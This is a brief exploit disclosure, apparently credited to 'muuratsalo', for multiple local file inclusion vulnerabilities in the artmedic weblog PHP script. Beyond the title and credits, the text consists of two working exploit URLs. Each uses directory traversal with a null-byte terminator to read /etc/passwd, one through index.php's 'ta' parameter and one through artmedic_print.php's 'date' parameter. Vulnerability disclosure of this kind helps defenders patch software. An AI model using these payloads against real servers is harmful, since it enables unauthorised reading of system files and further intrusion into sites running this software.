artmedic weblog multiple local file inclusion vulnerabilities

artmedic weblog multiple local file inclusion vulnerabilities

download http://artmedic-phpscripts.de/index.php?did=artmedic_weblog.zip

author muuratsalo
contact muuratsalo[at]gmail.com

exploits
http://localhost/artmedic_weblog/index.php?ta=../../../../../../../../../../etc/passwd%00
http://localhost/artmedic_weblog/artmedic_print.php?date=../../../../../../../../../../etc/passwd%00